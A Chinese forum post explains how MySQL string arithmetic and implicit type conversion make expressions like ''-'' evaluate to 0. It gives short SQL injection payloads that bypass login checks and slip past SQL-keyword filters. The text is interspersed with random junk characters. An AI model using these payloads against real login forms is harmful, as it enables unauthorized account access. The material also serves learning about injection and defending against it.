找回密码
 立即注册
查看: 2454|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。
9 I" R3 Z5 s- t% V1 K- x1 }有以下表结构: 1 K' `# P. L% `2 T5 ]4 V0 c# Y
7 V& d( `# t& E* O( i
mysql> desc admin;: n+ s( k, S+ [) a& P# [; I. h
+----------+--------------+------+-----+---------+----------------+
" M/ p' z" r- X| Field    | Type         | Null | Key | Default | Extra          |) S$ O& A- ?* x0 W% d+ U
+----------+--------------+------+-----+---------+----------------+0 E* J% T' D/ k5 v% q% ~, w* F
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
) }% T* C5 G1 N* A: q' y) B% u3 l; x| name     | char(32)     | NO   | UNI | NULL    |                |
3 c, b0 p8 Z# R& E; V| password | char(32)     | NO   | UNI | NULL    |                |# C( n( K- ]' e& E
+----------+--------------+------+-----+---------+----------------+
. |5 L# Z) [& q; O3 rows in set (0.00 sec)% N( U+ l$ U0 @% r% l! J) {
执行select * from admin;,成功返回所有记录内容。
2 S, P2 O# `: T1 f, |  l% Y: }& |4 @, e4 w+ G
3 C. V: U* V, f* z
+----+--------+----------------------------------+
7 ^3 s6 O# u' c9 r9 [0 f7 a1 x| id | name   | password                         |& N5 J: [" Q. C0 Q9 e( F2 _
+----+--------+----------------------------------+- u- J6 \" f/ ]+ R
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
& a! |2 X3 h. f7 \" y- u9 \|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ w- R& P! P9 U, @, @
|  4 | n00b   | ff80e8508d39047460921792273533a4 |$ i# M8 s! Q; j" y$ E
+----+--------+----------------------------------+& o" B: H7 F6 O0 f) u& N5 S
3 rows in set (0.00 sec)
( ?( T* x7 k. T( M$ y6 d执行select * from admin where name=”;,没有匹配到任何记录。
; e  e8 `: j) n2 i8 A+ y0 u; u0 z" [* E+ z$ Q& Y$ j
mysql> select * from admin where name = '';# K* y4 M* u* x+ L& v* W1 k  r
Empty set (0.00 sec)1 G6 e* r( |* y! H# J( E/ |
那么我们来执行select * from admin where name = ”-”;
) c& S7 R# f1 `: L1 E* ?" x4 e0 L/ M: g7 O2 l

; t9 M( w; ]. a! ~+----+--------+----------------------------------+3 W+ o; ]! E! v8 K
| id | name   | password                         |  n/ J" d- Z* N/ M
+----+--------+----------------------------------++ ^$ _- e; S+ h5 ^  s/ }9 h
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
5 w' G& w# ^, ]0 @- L5 Q) m) A2 w|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |8 {$ z* |) C# k+ L) x* U- G
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
: U+ A( c, u4 ~4 J- x' L. F+----+--------+----------------------------------+
0 ?8 ~8 s! x  O1 A% }" b3 O0 f3 rows in set, 3 warnings (0.00 sec)% @) E* p9 L9 s+ U9 h
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
4 x$ ?! ^  @. I/ q$ T* `7 N# {# o6 J& X9 A7 q  v
mysql> show warnings;
( q; m, J) v# m4 j# ^4 Z$ D3 I: T' N5 s+---------+------+------------------------------------------
6 L& y9 @" v. b! S) e| Level   | Code | Message
; [9 h0 Q6 j+ R3 P1 K2 e$ u+---------+------+------------------------------------------7 A( G2 y* Y, p/ X% Y7 q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
' ]( ]1 w  {1 A* y" v| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s& V0 t4 l. p" b7 w1 l
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b5 U3 I3 }  A3 O. I7 L1 d
+---------+------+------------------------------------------
8 v3 c: l0 ]$ Z; T+ e0 _( _3 rows in set (0.00 sec)' q1 R& V$ _1 o1 ^2 N/ Z5 c: |
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 " o7 L; ~: }) q- x' W3 k

; \$ m& K2 {; {; |0 Kmysql> select ''-'';
8 v8 T  r  Q( [( `; N+-------+( R, I) \& u2 D) \% M
| ''-'' |
+ X8 W, ^0 D0 L6 s* V5 x/ {9 M+-------+% }9 n0 k* }' o- F
|     0 |
8 Z1 N7 x( v$ D9 u6 K  x2 t+ G+-------+
  N) ]; K( l. B3 V, M1 row in set (0.00 sec)
' ?' n0 \- i) H" }" @返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 5 W6 Y# U6 L2 r* k5 G# k  L
" q5 T' p. l- ^# t* \: K
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
4 ~3 n6 t; i, ]$ M" y( G* H+-----------------------------------------------------+
$ i" [/ L0 ~- r% N2 Z| CAST((select name from admin limit 1,1) as DECIMAL) |
) t- a6 ?+ v3 J# @+-----------------------------------------------------+
7 a, }5 r# B- L1 M! e% N5 @: {; W|                                                   0 |9 ?. x; A% C7 r) n5 ~8 h" ]( {2 c
+-----------------------------------------------------++ ^7 o, Z, Z  @7 ?
1 row in set, 1 warning (0.00 sec). h0 U: P1 c/ u% M
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 : y1 [8 ]" U; ?+ C1 M5 o
. n+ Y. ~/ F, N  z5 K! ]4 @
SQL注入场景: http://www.sqlzoo.net/hack/ ( W+ H& L- z, T' `9 z
4 S1 B! w' i; {% b4 u+ s

" ^5 k. X" A' l' \. ]
$ Z, V9 B' S2 P3 l" k' `! X& V, T3 j& W/ E
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 , x" c. f  u0 z/ N

; p4 E$ A. a& F8 t那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 # o6 _0 x1 J3 M5 B

& I0 Z( [& [5 m; l4 |
' H7 ?/ e4 a" C1 }+ W
( s# d4 @. c0 N! ?* }9 `5 I) q* m2 p$ x2 K' P2 ]2 F5 y' w
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ) h: }- ~& F' Z! f# z4 X
! ?  }) W9 [6 |
   1 l3 u; H7 i( M! L% M6 S4 F

/ H& V$ m0 T0 ]8 V2 p除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
* x9 z% d0 U. n4 }( S, _! q5 B$ ~% G4 ~, q6 w$ H  o

3 r( M4 k- N! B& ?  d( i9 cmysql> select ''/1;
  L- ^' c/ Z; x: ^; D8 V+------+
% O# L8 q- m; J| ''/1 |3 @7 d8 @' g" j- N3 Z  V
+------+
4 p: T9 K1 i2 x$ |) E' b# [1 a|    0 |/ z( z3 A# O. |8 U9 @$ K. B$ c
+------++ ]5 g( R/ Y  w& e; _- V
1 row in set (0.00 sec)# c, D( I/ M+ {9 c! l3 ^' g7 v
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
* I1 {2 ~9 h0 U* ^( C5 [+ e7 b5 N  _
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
$ O$ b- m: r$ J& n1 ?% Z" h
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表